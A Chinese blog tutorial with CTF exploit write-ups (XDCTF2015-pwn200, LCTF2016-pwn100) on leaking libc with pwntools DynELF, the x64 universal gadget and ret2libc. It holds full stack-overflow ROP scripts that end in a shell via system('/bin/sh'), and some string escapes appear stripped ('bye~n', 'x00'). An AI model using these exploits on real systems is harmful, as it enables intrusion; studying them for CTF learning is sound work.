用DynELF模块和通用gadget实现libc通杀(详细注释)

用DynELF模块和通用gadget实现libc通杀(详细注释)

文章目录

  • 用DynELF模块和通用gadget实现libc通杀(详细注释)
      • 泄露libc版本方式
        • x86版本
        • x64版本
      • 万能gadget
      • ret2libc
        • x86版本
        • x64版本

泄露libc版本方式

主要原理:利用栈溢出等写入栈的手段调用write或者puts函数,并控制write或puts函数参数泄露libc函数真实地址

  • write函数特点:可以控制大小,但是在64位程序中需要使用gadget进行寄存器传参,有时可能碰不到合适gadget
  • puts函数特点:不可控制输出大小,但是所需参数少,常见,使用灵活。

x86版本

由于x86程序直接使用栈传参,所以可以直接通过构造栈控制函数调用参数

XDCTF2015-pwn200为例

def leak(address):
	payload = "A" * 112  # 栈大小
	payload += p32(writeplt)  # write函数plt表地址地址
	payload += p32(vulnaddress)  # 返回地址,持续控制
	payload += p32(1)  # write标准输出
	payload += p32(address)  # 目的输出
	payload += p32(4)  # 长度
	p.send(payload)
	data = p.recv(4)  # recv长度4字节
	print "%#x => %s" % (address, (data or '').encode('hex'))
	return data

x64版本

x64程序先使用寄存器传参,当参数不多于6个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

LCTF2016-pwn100为例

由于在程序中没有找到write函数的调用,所以只能使用puts函数进行泄露

def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8  # 填充垃圾数据
  payload += p64(poprdi) + p64(address)  # 目标地址,需要先把地址pop到rdi中
  payload += p64(putsplt)  # 调用puts
  payload += p64(startaddress)  # 因为puts函数会一直输出,直到遇到栈中的截断字符,所以为了保证栈的平衡,所以返回到start
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  # 为了接收到puts函数输出的所有字符,逐字符的接收拼接字符串,因为不知道puts函数以什么字符结束输出,所以引入超时机制
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

万能gadget

下面的代码会出现一条叫做万能gadget的gadget,详细的解释可以点这里,为了节省大家的时间,这里直接说说大概内容:在栈溢出的场景下,只要 x64 程序中调用了 libc.so,就会自带一个很好用的通用Gadget:pop6

图中就是我们所说的通用gadget,这个gadget到底有多通用呢?

假如我们把这个gadget分成两个片段——0x40075A和0x400740,我们先调用gadget1(40075A),这个gadget可以把rbx,rbp,r12,r13,r14,r15都设成我们需要的值,一直到这里,这个gadget1都还没有体现出它的价值,但当我们return到gadget2(400740)的位置时,你会惊奇地发现,刚才设置的r13、r14的值直接变成了给rdx,rsi赋的值

到目前为止,我们已经控制了函数参数传递的两个寄存器(rdx,rsi),但这还不是全部,在0x400762处,pop r15的机器码为41 5F,而pop rdi的机器码是5F,所以,在0x400763的位置还隐藏着一条gadget3——pop rdi;retn。至此,函数调用约定的前三个传参寄存器的值都已经在我们的控制中了

而这时候通过控制r12和rbx的值,可以实现任意已知地址函数的调用(400749)

然后通过合理设置rbp的值,就可以顺序执行到400764的return,继续执行ROP链。(当然也可以通过控制rbp与rbx不等使得gadget2被重复执行)

ret2libc

获知libc版本后,我们就可以通过持续的栈控制进行任意libc函数的调用。

主要原理:libc各函数装载到内存中时,各函数之间的偏移量是确定的,所以根据已知函数的地址就可以得出任意libc函数的地址

x86版本

函数通过栈传参,所以只要能控制栈就能用

XDCTF2015-pwn200为例

from pwn import *
p = process("pwn200")
elf = ELF("pwn200")
# 已调用过的函数got表地址已知
writeplt = elf.symbols['write']
writegot = elf.got['write']
readplt = elf.symbols['read']
readgot = elf.got['read']

vulnaddress =  0x08048484  # 泄露地址后返回函数地址(可再次栈溢出的位置)
startaddress = 0x080483d0  # 调用start函数,用以恢复栈,同时可以持续控制
bssaddress =   0x0804a020  # 数据段,用来写入“/bin/sh”字符串

def leak(address):
	payload = "A" * 112  # 栈大小
	payload += p32(writeplt)  # write函数plt表地址地址
	payload += p32(vulnaddress)  # 返回地址,持续控制
	payload += p32(1)  # write标准输出
	payload += p32(address)  # 目的输出
	payload += p32(4)  # 长度
	p.send(payload)
	data = p.recv(4)  # recv长度4字节
	print "%#x => %s" % (address, (data or '').encode('hex'))
	return data

# 找到system函数
print p.recvline()
dynelf = DynELF(leak, elf=ELF("./lctf-pwn200"))
systemAddress = dynelf.lookup("__libc_system", "libc") 
print "systemAddress:", hex(systemAddress)
# 使用start_addr恢复栈状态
payload1 = "A" * 112
payload1 += p32(startaddress) 
p.send(payload1)
print p.recv()

# 要是64位程序的话,通过寄存器传参就不会出现栈不平衡的情况。但是作为32位程序,参数是通过寄存器传递的,所以在调用完read函数后,写入的“p32(0) + p32(bss_addr) + p32(8)”参数还残留在栈上,为了达到持续挟持的目的,所以需要找到一个gadget把前面的内容pop掉以保持栈平衡
pop3_addr = 0x0804856c  # pop ebx ; pop edi ; pop ebp ; ret
payload1 = "A" * 112
payload1 += p32(readplt)
payload1 += p32(pop3_addr)
payload1 += p32(0)  # 从给定地址的第0个字节开始读入
payload1 += p32(bssaddress)  # 给定地址
payload1 += p32(8)  # 读取长度
# 调用system函数,返回位置还是为了持续控制的栈溢出位置
payload1 += p32(systemAddress) + p32(vulnaddress) + p32(bssaddress)

p.send(payload1)
p.send('/bin/sh')
p.interactive()

x64版本

LCTF2016-pwn100为例

from pwn import *

p = process("./pwn100")
elf = ELF("./pwn100")
# 没有write
readplt = elf.symbols['read']
readgot = elf.got['read']
putsplt = elf.symbols['puts']
putsgot = elf.got['puts']

mainaddress =   0x4006b8
startaddress =   0x400550
poprdi =     0x400763  # gadget3
pop6address  =  0x40075a  # gadget1
movcalladdress = 0x400740  # gadget2
waddress =     0x601000 #可写的地址,应该只要不是readonly的地址都可以,pwngdb在程序运行起来后可以用 vmmap指令查看可写段

def leak(address):
  count = 0
  data = ''
  payload = "A" * 64 + "A" * 8
  payload += p64(poprdi) + p64(address)
  payload += p64(putsplt)
  payload += p64(startaddress)
  payload = payload.ljust(200, "B")
  p.send(payload)
  print p.recvuntil('bye~n')
  up = ""
  while True:
    c = p.recv(numb=1, timeout=0.5)
    count += 1
    if up == 'n' and c == "":
      data = data[:-1]
      data += "x00"
      break
    else:
      data += c
    up = c
  data = data[:4]
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

d = DynELF(leak, elf=ELF('./pwn100'))
systemAddress = d.lookup('__libc_system', 'libc')
print "systemAddress:", hex(systemAddress)

print "-----------write /bin/sh to bss--------------"
payload1 = "A" * 64 + "A" * 8  # 垃圾数据
#           gadget1            pop到rbx pop到rbp  pop到r12       r13      r14             r15
payload1 += p64(pop6address) + p64(0) + p64(1) + p64(readgot) + p64(8) + p64(waddress) + p64(0)

#gadget1 return到 gadget2
# 这里把r13复制到rdx,把r14复制到rsi,把r15的低字节复制到rdi的低字节
# 随后调用r12+rbx*8(read函数),参数为0,wadress,8
payload1 += p64(movcalladdress)  

# 由于调用过后,rbp=rbx,顺序执行gadget1,此时有缩栈和pop6的操作,为了保证栈平衡,往栈里填充x00*56(7 * 8)
payload1 += 'x00'*56
# 已经读入/bin/sh,返回start address恢复栈
payload1 += p64(startaddress)
payload1 =  payload1.ljust(200, "B")
p.send(payload1)

print p.recvuntil('bye~n')
p.send("/bin/shx00")
print "-----------get shell--------------"
payload2 = "A" * 64 + "A" * 8
payload2 += p64(poprdi) + p64(waddress)  # gadget3把/bin/sh地址放入rdi
payload2 += p64(systemAddress)  # 调用system
payload2 += p64(startaddress)  # 恢复栈
payload2 =  payload2.ljust(200, "B")
p.send(payload2)
p.interactive()

你可能感兴趣的:(学习笔记,libc,pwn,rop)